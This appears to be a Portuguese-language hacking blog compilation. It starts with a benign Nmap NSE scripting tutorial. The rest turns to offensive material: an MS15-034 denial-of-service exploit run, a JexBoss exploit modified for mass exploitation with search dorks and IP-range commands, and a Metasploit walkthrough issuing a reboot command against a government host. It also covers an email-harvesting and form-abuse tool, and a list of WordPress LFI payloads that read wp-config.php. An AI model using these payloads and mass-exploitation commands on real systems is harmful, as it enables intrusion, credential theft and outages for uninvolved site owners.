Nmap Scripting Engine (NSE) - Escrevendo o meu primeiro script

                            Introdução

O Nmap Scripting Engine (NSE) é um dos recursos mais poderosos e flexíveis do Nmap. Ele permite aos usuários escrever (e partilhar) scripts simples para automatizar uma ampla variedade de tarefas de rede. Esses scripts são executados em paralelo com a velocidade e eficiência que se espera do Nmap. Os usuários podem contar com a crescente e diversificada base de dados de scripts distribuídos com o Nmap, ou escrever o seu próprio para atender às necessidades personalizadas, os scripts Nmap Scripting Engine são implementados usando linguagem de programação Lua, Nmap API e um número de realmente poderosas Bibliotecas NSE.
LUA: Lua Tutorials - www.dev-hq.net   NMAP API: Nmap API   NSEDOC: nsedoc (nse)


Os scripts NSE são (pack) em diferentes categorias:
auth, broadcast, brute, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, safe,vuln
configuando o nosso script NSE dentro de uma destas categorias permite-nos chama-lo a ele e todos
os scripts dentro dessa mesma categoria usando a 'flag' (--script <categoria> <target>). o seguinte
exemplo "irá correr o nosso script e todos que se encontrarem dentro da categoria 'discovery'"
exemplo: nmap -sS -Pn -p 80 --script discovery <target>


Os scripts NSE são divididos em 4 secções:
O 'HEAD' contém meta-dados que descreve a funcionalidade do modulo, autor, impacto, categoria e outros dados descritivos.
As 'DEPENDENCIES' (bibliotecas lua necessarias) ao uso da API de programação do nmap
A 'RULE SECTION' define as condições necessárias para o script executar. Esta secção deve conter pelo menos uma função desta lista: portrule, hostrule, prerule, postrule. Para os fins deste tutorial (e a maioria dos scripts), vou concentrar-se no portrule que pode executar verificações sobre ambas as propriedades de host e porta antes de correr o script. No script abaixo, portrule se aproveita da API do nmap para verificar se há alguma porta http aberta para executar os commands da secção 'the action section'.
A 'ACTION SECTION' define a lógica do script, Na tradição de K&R (kernighan & ritchie) eu vou simplesmente dar a saída "Olá, mundo!" para qualquer porta aberta http usando a API 'return' para fazer o output.
           


                            

hello.nse

Vamos começar com um script que simplesmente irá imprimir "hello world" para todas as portas HTTP encontradas abertas.
                             Abra um editor de texto e escreva o seguinte trecho em 'hello.nse' em seu diretório home.

1. ------------------------------ The Head Section ------------------------------
2. description = [[
3. Author: r00t-3xp10it
4. INURLBR AULA - escrevendo o meu primeiro script NSE para o nmap
6. Some Syntax examples:
7. nmap --script-help hello.nse
8. nmap -sS -Pn -p 80 --script hello.nse <target>
9. ]]
11. author = "r00t-3xp10it"
12. categories = {"discovery", "safe"}
14. ------------------------------ Dependencies ------------------------------
15. local http = require "http"
16. local shortport = require "shortport"
18. ------------------------------ The Rule Section ------------------------------
19. portrule = shortport.http
21. ------------------------------ The Action Section ------------------------------
22. action = function(host, port)
23.     return "Hello world!"
24. end

Descrição: na secção 'head' definimos a categoria como 'discovery and safe', para correr este script e todos contidos na categoria 'discovery' basta executarmos 'nmap -sV -p 80,8080 --script discovery <target>', na secção 'Dependencies' chamamos as bibliotecas 'http & shortport', na secção 'the rule section' vamos nos servir da biblioteca 'shortport' para verificar se o <target> está a correr alguma porta com o protocol 'http' abertas, para podermos executar a secção 'the action section' a 'funtion(host, port)' vai executar o command "hello world!" (display no terminal), P.S. a portrule 'shortport.http' verifica todos os protocolos http based, like: http, https, ipp, http-alt, https-alt, vnc-http, oem-agent, soap, http-proxy, (descrição da biblioteca 'shortport.lua')...

shortport.http: https://nmap.org/nsedoc/lib/shortport.html#http

shortport.lua: nmap.org/nmap/nselib/shortport.lua

hello.nse output:

exporte o script para a base de dados do nmap ('/nmap/scripts/' folder)

sudo cp hello.nse /usr/share/nmap/scripts/hello.nse

actualize a base de dados do NSE

sudo nmap --script-updatedb

visualizar a descrição do modulo

sudo nmap --script-help hello.nse

corra o script

sudo nmap -sV -Pn -p 80,443,445,8080 --script hello.nse <target>

file-checker.nse

Vamos construir um Script NSE rápido para verificar se o /path/arquivo/pasta selecionado existe no alvo webserver verificando os codigos de retorno da API do google. "o comportamento padrão será procurar o arquivo robots.txt se não for introduzido um argumento (@args) para procurar um file/path diferente", os '@argumentos' são lançados pela 'flag' --script-args <nome do argumento>=  neste caso vai servir para pedir ao utilizador para entrar um nome diferente do valor default (/robots.txt) a procurar no target, vamos construir o proximo script em 4 secções 'head, dependencies, the rules section, the action section' para mais facil compreenção:


---'THE HEAD SECTION'---

1. description = [[
3. Author: r00t-3xp10it
4. Quick NSE script to check if the selected file/path/folder exists
5. on target webserver by checking google API return codes.
6. 'default behavior its to search for robots.txt file'
8. Some Syntax examples:
9. nmap -sS -Pn -p 80 --script file-checker.nse <target>
10. nmap -sS -Pn -p 80 --script file-checker.nse --script-args file=/privacy/ <target>
11. nmap -sS -sV -iR 40 -p 80 --open --script file-checker.nse --script-args file=/robots.txt
12. ]]
14. ---
15. -- @usage
16. -- nmap --script-help file-checker.nse
17. -- nmap -sS -Pn -p 80 --script file-checker.nse <target>
18. -- nmap -sS -Pn -p 80 --script file-checker.nse --script-args file=/robots.txt <target>
19. -- nmap -sS -Pn -p 80 --script file-checker.nse --script-args file=/privacy/ 113.38.34.72
20. -- @output
21. -- PORT   STATE SERVICE
22. -- 80/tcp open  http
23. -- | file-checker: /robots.txt
24. -- |             : STRING FOUND...
25. -- |_            : returned 200 OK
26. -- @args file-checker.file the file/path name to search. Default: /robots.txt
27. ---
29. author = "r00t-3xp10it"
30. license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
31. categories = {"discovery", "safe"}
32. 
    

---'DEPENDENCIES'---

1. -- Dependencies (lua libraries)
2. local shortport = require "shortport"
3. local stdnse = require ('stdnse')
4. local http = require "http"

shortport: https://nmap.org/nsedoc/lib/shortport.html

stdnse: https://nmap.org/nsedoc/lib/stdnse.html

http: https://nmap.org/nsedoc/lib/http.html 

---'THE RULES SECTION'---

1. -- Port rule will only execute if port 80/tcp http is open
2. portrule = shortport.port_or_service({80}, "http", "tcp", "open")
3. -- Seach for string stored in variable @args.file or use default
4. local file = stdnse.get_script_args(SCRIPT_NAME..".file") or "/robots.txt"

Descrição: a biblioteca 'shortport' vai se servir da função 'port_or_service' para só executar a secção 'the action section' se todos os valores retornarem correctos (port 80 tcp http open), a biblioteca 'stdnse.get_script_args' vai ler o que foi inserido no @argumento (e procurar por essa string) ou então vai procurar pelo valor default (/robots.txt) se não for utilizada a 'flag' '--script-args file=' 

'shortport.port_or_service': nsedoc/lib/shortport.html#port_or_service 'stdnse.get_script_args': nsedoc/lib/stdnse.html#get_script_args


---'THE ACTION SECTION'---

1. action = function(host, port)
2. local response = http.get(host, port, file)
4. -- Check google API return codes to determine if file exists
5. if (response.status == 200 ) then
6. return file.."\n            : STRING FOUND...\n            : returned 200 OK\n"
7. elseif (response.status == 400 ) then
8. return file.."\n            : BadRequest...\n            : returned 400 BadRequest\n"
9. elseif (response.status == 302 ) then
10. return file.."\n            : Redirected...\n            : returned 302 Redirected\n"
11. elseif (response.status == 401 ) then
12. return file.."\n            : Unauthorized...\n            : returned 401 Unauthorized\n"
13. elseif (response.status == 404 ) then
14. return file.."\n            : STRING NOT FOUND...\n            : returned 404 NOT FOUND\n"
15. elseif (response.status == 403 ) then
16. return file.."\n            : Forbidden...\n            : returned 403 Forbidden\n"
17. elseif (response.status == 503 ) then
18. return file.."\n            : Service_unavailable...\n            : returned 503 Service_unavailable\n"
19. else
20. return file.."\n            : UNDEFINED ERROR...\n            : returned "..response.status.."\n"
21. end
22. end

Descrição: a função 'action = function(host, port)' vai executar os commands no <target>, na função seguinte a biblioteca 'http.get' retorna um recurso com um pedido GET, a API NSE  'response.status' vai verificar o codigo de retorno da API do google para determinar se o file existe, e vamos nos servir da API 'return' vai fazer o display do output...

'http.get': nmap.org/nsedoc/lib/http.html#get
file-checker.nse output:

download file-checker.nse: file-checker.nse

exporte o script para a base de dados do nmap ('/nmap/scripts/' folder)

sudo cp file-checker.nse /usr/share/nmap/scripts/file-checker.nse

actualize a base de dados do NSE

sudo nmap --script-updatedb

visualizar a descriçao do modulo

sudo nmap --script-help file-checker.nse

corra o script

sudo nmap -sV -Pn -p 80,443,445,8080 --script file-checker.nse <target>

sudo nmap -sV -Pn -p 80,443,445,8080 --script file-checker.nse --script-args file=/etc/passwd <target>    

ms15-034.nse

Detecta a vulnerabilidade MS15-034 (HTTP.sys) em servidores Microsoft IIS. e explora a condição denial-of-service usando argumentos de script (--script-args D0S=exploit) ou podemos verificar (escanear) ainda mais usando outro argumento (--script-args uri =/wellcome.png), o comportamento padrão 'default' será verificar pela existencia da vulnerabilidade, e só se for introduzido o @argumento D0S (--script-args D0S=exploit) é que será explorado o denial-of-service.

versões afetadas são o Windows 7,8,8.1, Windows Server 2008 R2, 2012 e 2012R2.
An analysis of ms15-034: an-analysis-of-ms15-034

1º - download ms15-034.nse: ms15-034.nse

 2º - exporte o script para a base de dados do nmap ('/nmap/scripts/' folder)

sudo cp ms15-034.nse /usr/share/nmap/scripts/ms15-034.nse

3º - actualize a base de dados do NSE

sudo nmap --script-updatedb

4º - visualizar a descriçao do modulo

sudo nmap --script-help ms15-034.nse

5º - corra o script

sudo nmap -sV -Pn -p 80 --script ms15-034.nse <target>

sudo nmap -sV -Pn -p 80,443,445,8080 --script ms15-034.nse --script-args D0S=exploit <target>

How To Display outputs:

usando return

1. -- writting output to table (using return)
2. if (response.status == 200) then
3. return file.." FOUND..."
5.   elseif (response.status == 404) then
6.   return file.." NOT FOUND..."
8. else
10.   return file.." undefined"..response.status
11.   end
12. end

usando table.insert

2. --writting output to table (using 'table.insert')
3. if (response.status == 200) then
4.   table.insert(response, "  STRING FOUND: "..file)
5.   table.insert(response, "  returned 200 OK")
7.   elseif (response.status == 404) then
8.   table.insert(response, "  STRING NOT FOUND: "..file)
9.   table.insert(response, "  returned 404 NOT FOUND")
11. else
13.   table.insert(response, "  STRING : "..file)
14.   table.insert(response, "  returned "..response.status)
15. end
16. 
    
17. --writting response output to table
18. return stdnse.format_output(true, response)
19. end

usando stdnse.output_table()

1. -- writting output to table using stdnse.output_table()
2. -- THE RULES SECTION --
3. local file = stdnse.get_script_args(SCRIPT_NAME..".file") or "/robots.txt"
4. local output = stdnse.output_table()  -- fazendo table em 'the rules section'
7. -- THE ACTION SECTION --
8. if (response.status == 200) then
9.   output.found = {}
10.   output.found[#output.found + 1] = file
11.   output.found[#output.found + 1] = "/privacy/"
12.   output.found[#output.found + 1] = "/news/"
13.   return output
15. elseif (response.status == 404) then
16.   output.found = {}
17.   output.found[#output.found + 1] = file
18.   output.found[#output.found + 1] = "/privacy/"
19.   output.found[#output.found + 1] = "/news/"
20.   return output
22. else
23.   output.found = {}
24.   output.found[#output.found + 1] = file
25.   output.found[#output.found + 1] = "/privacy/"
26.   output.found[#output.found + 1] = "/news/"
27.   return output
29. end
30. return output
31. end

                        

JexBoss - Jboss Verify Tool - INURLBR Mass exploitation -

JexBoss is a tool for testing and exploiting vulnerabilities in JBoss Application Server.

Requirements
Python <= 2.7.x

Installation
To install the latest version of JexBoss, please use the following commands:

git clone https://github.com/joaomatosf/jexboss.git
cd jexboss
python jexboss.py

#  [ + ] JexBoss v1.0. @autor: João Filho Matos Figueiredo ([email protected])
#  [ + ] Updates: https://github.com/joaomatosf/jexboss
#  [ + ] SCRIPT original: http://1337day.com/exploit/23507 - http://77.120.105.55/exploit/23507
#  [ + ] Free for distribution and modification, but the authorship should be preserved.

Features
The tool and exploits were developed and tested for versions 3, 4, 5 and 6 of the JBoss Application Server.

The exploitation vectors are:

1. /jmx-console - tested and working in JBoss versions 4, 5 and 6
2. /web-console/Invoker- tested and working in JBoss versions 4
3. /invoker/JMXInvokerServlet- tested and working in JBoss versions 4 and 5

The script works, however ateramos the XPL order to use it in mass along with inurlbr scanner 

All latches and test questions were withdrawn in order to be used in mass was added function to save vulnerable sites.

Mass Exploration: 

To do this we use the scanner inurlbr

https://github.com/googleinurl/SCANNER-INURLBR

Modified script for mass exploitation: 

https://gist.github.com/googleinurl/d9940803b101c9ebbf54#file-jexboss-py 

DORKS SEARCH 
inurl:"jmx-console/HtmlAdaptor"
inurl:"/web-console/Invoker"
inurl:"/invoker/JMXInvokerServlet"

COMMAND INURLBR:
- single search.--dork {YOU_DORK}

php inurlbr.php --dork 'inurl:"jmx-console/HtmlAdaptor"' -s output.txt -q all  --unique --command-all "python JexBoss.py  _TARGET_"

- search using dorks file 

- File example with dorks:

site:br inurl:"jmx-console/HtmlAdaptor"
site:uk inurl:"jmx-console/HtmlAdaptor"

site:in inurl:"jmx-console/HtmlAdaptor"

site:ru inurl:"jmx-console/HtmlAdaptor"

site:pe inurl:"jmx-console/HtmlAdaptor"
site:br  inurl:"/web-console/Invoker"

site:uk  inurl:"/web-console/Invoker"

site:ru  inurl:"/web-console/Invoker"

site:us  inurl:"/web-console/Invoker"

site:com  inurl:"/web-console/Invoker"

So on .....

Exemple-> File: dorks.txt--dork-file {YOU_DORKFILE}

php inurlbr.php --dork-file 'dorks.txt' -s output.txt -q all  --unique --command-all "python JexBoss.py  _TARGET_"


- Using to capture the range of ips--range {IP_START,IP_END}

php inurlbr.php --range '200.20.10.1,200.20.10.255' -s output.txt -q all  --unique --command-all "python JexBoss.py  _TARGET_"
- Range of ips random--range-rand {counter}

php inurlbr.php --range-rand '150' -s output.txt -q all  --unique --command-all "python JexBoss.py  _TARGET_"

Exemple OUTPUT:

JBoss Seam 2 Remote Command Execution - Metasploit

JBoss Seam 2 Remote Command Execution - Metasploit

JBoss Seam 2 (jboss-seam2), as used in JBoss Enterprise Application Platform 4.3.0 for Red Hat Linux, does not properly sanitize inputs for JBoss Expression Language (EL) expressions, which allows remote attackers to execute arbitrary code via a crafted URL. This modules also has been tested successfully against IBM WebSphere 6.1 running on iSeries. NOTE: this is only a vulnerability when the Java Security Manager is not properly configured.

• MODULE METASPLOIT:auxiliary/admin/http/jboss_seam_exec

• COMMAND SCANNER INURLBR:/inurlbr.php --dork 'site:.gov.br inurl:.seam' -s jboss.txt -q 1,6

• DORK:site:.gov.br inurl:.seam  intitle:"JBoss Seam Debug"

Configuração:

• CMD  - The command to execute.
• RHOST - The target address
• RPORT  - The target port
• TARGETURI - Target URI

msf > use auxiliary/admin/http/jboss_seam_exec

msf auxiliary(jboss_seam_exec) > set RHOST *******.mj.gov.br

msf auxiliary(jboss_seam_exec) > set RPORT 80

msf auxiliary(jboss_seam_exec) > set CMD reboot

msf auxiliary(jboss_seam_exec) > set TARGETURI  /******/home.seam

msf auxiliary(jboss_seam_exec) > exploit

Output:

Resultado:

VÍDEO:



REFERENCE: http://www.rapid7.com/db/modules/auxiliary/admin/http/jboss_seam_exec
SCANNER INURLBR: http://github.com/googleinurl/SCANNER-INURLBR

Internet Ungovernance Forum Brasil

<free> We are supporting </free>

Sem privacidade não há democracia!
There is no democracy without privacy!
No hay democracia sin privacidad!
Il n'y a pas de démocratie sans la vie privée!

Ab0ut
Internet Ungovernance Forum Brasil is for those of us who demand free, secure, and open internet for all!

We're organizing the Internet Ungovernance Forum on November 2015, for everyone who demand that fundamental freedoms, openness, unity and net neutrality remain the building blocks of the Internet. Our objective is to talk about the real problems of the internet, how we can solve these and to chart a path for action.

Our forum will be in parallel to the Internet Governance Forum (IGF) 2015 which will also be held in João Pessoa in november. Interested parties all around the world will join and follow this important event. We see that at IGF the most urgent problems of the Internet do not get the right attention. Due to the "multi-stakeholderism" format, the main perpetrators of many of the Internet's problems, governments and corporations, are getting representation in IGF they don’t deserve. Given these circumstances, we decided to take initiative to defend the Internet as we know it and to create a parallel space to raise the voices of civil society initiatives, activists and common people.

For us, the most vital problems today are censorship and freedom of speech; surveillance and privacy; excessive commercialization and super-monopolies; protective, prohibitionist and conservative governance approaches; awful governance examples as in the case of Brasil and the list goes on. Further, we do not see any of these problems independent of the greater political, social and economic contexts in which the Internet and related digital infrastructures are embedded in.

We want to reclaim the Internet as a fundamental infrastructure of our societies, cities, education, health, work, media, communications, culture and everyday activities.

We call on our participants to resist seeing the problems of the Internet as only technological and void of its materiality

Inv1t3d

Supp0rter5

PAGE OFICIAL: 

http://iuf.partidopirata.org/index-en.html

EVENTO FACEBOOK: 

https://www.facebook.com/events/417942471718001/

Send Attack Web Forms - Tool

DESCRIPTION

The purpose of this tool is to be a Swiss army knife  for anyone who works with HTTP, so far it she is basic, bringing only some of the few features that want her to have, but we can already see in this tool:

1. - Email Crawler in sites
2. - Crawler forms on the page
3. - Crawler links on web pages
4. - Sending POST and GET
5. - Support for USER-AGENT
6. - Support for THREADS
7. - Support for COOKIES

Developed by

Danilo Vaz - UNK
[email protected]
http://unk-br.blogspot.com
https://twitter.com/unknownantisec


REQUERIMENTS 
----------------------------------------------------------

• Import:
• threading
• time
• argparse
• requests
• json
• re
• BeautifulSoup
• permission          Reading & Writing
• User                root privilege, or is in the sudoers group
• Operating system    LINUX
• Python              2.7 

----------------------------------------------------------

INSTALL

git clone http://github.com/danilovazb/SAWEF

sudo apt-get install python-bs4 python-requests


HELP

usage: tool [-h] --url http://url.com/

[--user_agent '{"User-agent": "Mozilla/5.0 Windows; U; Windows NT 5.1; hu-HU; rv:1.7.8 Gecko/20050511 Firefox/1.0.4"}"]
[--threads 10] [--data '{"data":"value","data1":"value"}']
[--qtd 5] [--method post|get]
[--referer '{"referer": "http://url.com"}']
[--response status_code|headers|encoding|html|json|form]
[--cookies '{"__utmz":"176859643.1432554849.1.1.utmcsr=direct|utmccn=direct|utmcmd=none"}']

optional arguments:
  -h, --help        show this help message and exit
  --url http://url.com/
                    URL to request
  --user_agent '{"User-agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; hu-HU; rv:1.7.8) Gecko/20050511 Firefox/1.0.4"}"
                    For a longer list, visit:
                    http://www.useragentstring.com/pages/useragentstring.php
  --threads 10      Threads
  --data '{"data":"value","data1":"value"}'
                    Data to be transmitted by post
  --qtd 5           Quantity requests
  --method post|get
                    Method sends requests
  --referer '{"referer": "http://url.com"}'
                    Referer
  --response status_code|headers|encoding|html|json|form
                    Status return
  --cookies '{"__utmz":"176859643.1432554849.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)"}'
                    Cookies from site
 

EXAMPLE

*Send 1 SMS anonymous to POST [in BR]:
----------------------------------------------------------
$:> python sawef.py --url "https://smsgenial.com.br/forms_teste/enviar.php" --data '{"celular":"(11) XXXX-XXXXX","mensagem":"Teste","Testar":"Enviar"}' --threads 10 --qtd 1 --user_agent '{"User-agent":"Mozilla/5.0 Windows; U; Windows NT 5.1; hu-HU; rv:1.7.8) Gecko/20050511 Firefox/1.0.4"}'
*List Form attributes:
----------------------------------------------------------
$:> python sawef.py --url "https://smsgenial.com.br/ --method post --response form
 
 * Get email web pages
----------------------------------------------------------
 $:> python sawef.py --url "http://pastebin.com/ajaYnLYc" --response emails
[...]
[+] EMAIL = [email protected]
[+] EMAIL = [email protected]
[+] EMAIL = [email protected]
[+] EMAIL = [email protected]
[+] EMAIL = [email protected]
[+] EMAIL = [email protected]
[+] EMAIL = [email protected]
FOUND = 3065

* Get links on web pages
----------------------------------------------------------
$:> python sawef.py --url "http://terra.com.br" --response links
[...]
[+] LINK = http://uol.com.br/https://pagseguro.uol.com.br/vender
[+] LINK = http://www.uolhost.com.br/registro-de-dominio.html
[+] LINK = http://noticias.uol.com.br/arquivohome/
[+] LINK = http://noticias.uol.com.br/erratas/
[+] LINK = http://uol.com.br/#
[+] FOUND = 360

SCREENSHOT:

Download tool:
https://github.com/danilovazb/SAWEF

REf:
http://unk-br.blogspot.com.br/2015/06/send-attack-web-forms-tool.html

WordPress Plugin 'WP Mobile Edition' LFI Vulnerability

Exploring wordpress plugin LFI using inurlbr in subprocess

 Alisam@Technology
https://fb.com/Forces.des.tempetes.marocaines

& 

Inurlbr Team

https://fb.com/InurlBrasil

[+]=========== Assume NO ============[+]

 Liability and are not responsible

for any misuse or damage caused

 by this program!!

[+]==================================[+]

USAGE:

Make a file named payload .txt and put inside:
/wp-content/themes/mTheme-Unus/css/css.p­hp?files=../../../../wp-config.php

OTHER FAILURES(XPL's):

/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php
/wp-content/force-download.php?file=../wp-config.php
/wp-content/themes/acento/includes/view-pdf.php?download=1&file=/path/wp-config.php
/wp-content/themes/SMWF/inc/download.php?file=../wp-config.php
/wp-content/themes/markant/download.php?file=../../wp-config.php
/wp-content/themes/yakimabait/download.php?file=./wp-config.php
/wp-content/themes/TheLoft/download.php?file=../../../wp-config.php
/wp-content/themes/felis/download.php?file=../wp-config.php
/wp-content/themes/MichaelCanthony/download.php?file=../../../wp-config.php
/wp-content/themes/trinity/lib/scripts/download.php?file=../../../../../wp-config.php
/wp-content/themes/epic/includes/download.php?file=wp-config.php
/wp-content/themes/urbancity/lib/scripts/download.php?file=../../../../../wp-config.php
/wp-content/themes/antioch/lib/scripts/download.php?file=../../../../../wp-config.php
/wp-content/themes/authentic/includes/download.php?file=../../../../wp-config.php
/wp-content/themes/churchope/lib/downloadlink.php?file=../../../../wp-config.php
/wp-content/themes/lote27/download.php?download=../../../wp-config.php
/wp-content/themes/linenity/functions/download.php?imgurl=../../../../wp-config.php
/wp-content/plugins/ajax-store-locator-wordpress_0/sl_file_download.php?download_file=../../../wp-config.php
/wp-content/plugins/justified-image-grid/download.php?file=file:///C:/wamp/www/wp-config.php
/wp-content/plugins/justified-image-grid/download.php?file=file:///C:/xampp/htdocs/wp-config.php
/wp-content/plugins/justified-image-grid/download.php?file=file:///var/www/wp-config.php
/wp-content/plugins/aspose-doc-exporter/aspose_doc_exporter_download.php?file=../../../wp-config.php
/wp-content/plugins/aspose-cloud-ebook-generator/aspose_posts_exporter_download.php?file=../../../wp-config.php


EXPLOIT COMMAND:
php inurlbr.php --dork 'inurl:?fdx_switcher=mobile' -q [your favorite engines] -s scan.txt --get-file 'payload.txt' --sub-get --unique

Vídeo:



SCANNER INURLBR:
https://github.com/googleinurl/SCANNER-INURLBR

REF:
https://www.exploit-db.com/exploits/37244/
http://blog.inurl.com.br/2015/04/conceito-de-subprocess-scanner-inurlbr.html